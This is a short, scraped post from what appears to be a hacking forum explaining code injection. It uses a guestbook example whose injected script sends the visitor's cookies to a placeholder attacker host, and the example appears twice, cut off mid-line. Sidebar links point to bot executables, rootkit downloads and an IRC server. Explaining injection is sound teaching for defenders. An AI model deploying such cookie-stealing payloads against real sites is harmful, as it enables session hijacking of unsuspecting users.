Search
Latest topics
Current date/time is Thu Nov 26, 2009 2:54 pm
Topic review
Code Injection Usages
by JeSTeR on Thu Jan 08, 2009 5:22 pm
Overview and example
A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as
Nice site!
However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document
A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as
Nice site!
However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document
» winagent.exe
» sissiBOT.exe
» Posting Rules
» There Are Hidden Posts Only Members Can Access
» IRC Server: IRC.HackersPlanet.Org
» Rules For Posting
» RootKit Downloads
» Anti-Rooting